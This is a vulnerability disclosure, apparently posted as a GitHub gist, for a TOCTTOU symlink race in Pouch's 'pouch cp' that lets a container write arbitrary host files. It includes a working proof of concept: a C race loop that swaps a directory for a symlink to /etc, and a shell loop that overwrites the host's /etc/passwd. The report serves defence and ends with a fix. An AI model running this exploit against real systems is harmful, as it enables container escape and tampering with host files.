Skip to content

Instantly share code, notes, and snippets.

@cafan
Last active July 6, 2024 17:38
Show Gist options
  • Save cafan/68ed2d065a4b9c1c37c70a18077ad27b to your computer and use it in GitHub Desktop.
Save cafan/68ed2d065a4b9c1c37c70a18077ad27b to your computer and use it in GitHub Desktop.
Pouch container exists TOCTTOU vulnerability

Declaration

This vulnerability has already been verified by the CNVD platform with CNVD id CNVD-2023-71698 and has been accept by the Pouch team (see pull request AliyunContainerService/pouch#3058) . However, due to a vendor change from Alibaba to AliyunService, our requests to obtain a CVE have not received a response from the Pouch team. Therefore, we have applied for a CVE ID directly through the CVE platform.

The following is the original email text.

Dear Pouch Team,

We are a security research group. We studied version 1.3.1 and before the Pouch project and discovered that the 'pouch cp' function is vulnerable to a symlink-exchange attack. Exploiting such a problem, the attacker can write any file on the host with privilege.

Description

An attacker who has control of a container can write arbitrary files on the host filesystem (which essentially is an escape) when an administrator tries to copy a file into the container, by exploiting a TOCTTOU vulnerability to replace the destination in the container as a symlink.

Threat Model

The container-based platform can use Pouch as the container engine and provide interfaces that encapsulate common commands (e.g., run, cp, etc.) for its users to manage the container. We assume that the adversaries in the container-based platform can control their containers and also request the platforms via legitimate interfaces to copy a file into a specified path in the container. When the platform performs 'pouch cp', the adversary can exploit this vulnerability to overwrite the sensitive file on the host or write on any path on the host with this file.

The problem in Pouch cp

The 'pouch cp' command uses the function ExtractToDir() to extract the given archive at the specified path in the container when copying a file into the container. But there is a race condition in this function within daemon/mgr/container_copy.go. The TOCTTOU attack can happen after os.Lstat() and before the chrootarchive.Untar(). If the attacker in the container wins the race and replaces the specified path as a symlink, the path pointed by the symlink will be resolved under the host context and could be any path in the host, allowing the given archive to be extracted to a host path (outside of the container) and overwrite a sensitive file located in this path.

This vulnerability can be exploited in two conditions: firstly, if runc is set as the container runtime; secondly, if runsc (gVisor) is used as the container runtime and a file is copied from the host to the shared volume between the container and host in the container path.

Environment Client: Pouch Engine

Version: 1.3.1

API Version: 1.24

Go Version: go1.19.5

Arch: amd64

Attack Steps

We assume the goal of an attacker is to overwrite the sensitive file (‘/etc/passwd’) in the host.

Note: The PoC will overwrite the ‘/etc/passwd’. Anyone who wants to reproduce the attack should take extra caution! Backup it first or use another source file name if preferred.

● The attacker requests the administrator to open a container:

when using runc as the container runtime

○ [administrator] sudo pouch run -it gcc

when using runsc (gVisor) as the container runtime

○ [administrator] mkdir -p /tmp/test

○ [administrator] sudo pouch run -it -v /tmp/test:/test gcc

● The attacker creates a directory in the container and replaces this directory with a symlink.

○ [container] cat <poc.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

int main() {

mkdir("/test", 0777);

while (1){    

mkdir("/test/evil",0777);

rmdir("/test/evil");

    symlink("/etc", "/test/evil");

    unlink("/test/evil");

}

return 0;

}

EOF

○ [container] gcc poc.c -o poc && ./poc

● The attacker requests the administrator to copy a malicious file passwd to the path /home/test in the container. (the content of passwd contains the keyword ‘malicious’)

○ [administrator]

while true

do

sudo pouch cp passwd <container_id>:/test/evil;

results=$(cat /etc/passwd | grep malicious);

if [ ! -z "$results" ]; then

    echo "success!";

    break;

fi

done

The result is that the attackers can write arbitrary host files to which they do not have authorized access.

Workarounds The rationale behind pouch's susceptibility to race condition vulnerabilities while docker is not due to pouch's utilization of an obsolete chrootarchive package from an old version of docker. In the deprecated version, chrootarchive employs resolvedPath as the chroot destination directory, whereas in the current version of docker, the chrootarchive package has designated the container's rootfs as its chroot destination.

The call chain (in docker) is as follows,

chrootarchive.Untar → untarHandler → invokeUnpack → reexec.Command → untar .

func untar() {

runtime.LockOSThread()

flag.Parse()

var options *archive.TarOptions

//read the options from the pipe "ExtraFiles"

if err := json.NewDecoder(os.NewFile(3, "options")).Decode(&options); err != nil {

fatal(err)

}

if err := chroot(flag.Arg(0)); err != nil {

fatal(err)

}

}

func untar() {

runtime.LockOSThread()

flag.Parse()

var options archive.TarOptions

if err := json.NewDecoder(os.NewFile(3, "options")).Decode(&options); err != nil {

fatal(err)

}

dst := flag.Arg(0)

var root string

if len(flag.Args()) > 1 {

root = flag.Arg(1)

}

if root == "" {

root = dst

}

if err := chroot(root); err != nil {

fatal(err)

}

}

As shown in the green code, the current version of docker’s chrootarchive package has applied security checks and set the container's rootfs as its chroot destination. Therefore, our suggestion is to update the chrootarchive package to the latest version.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment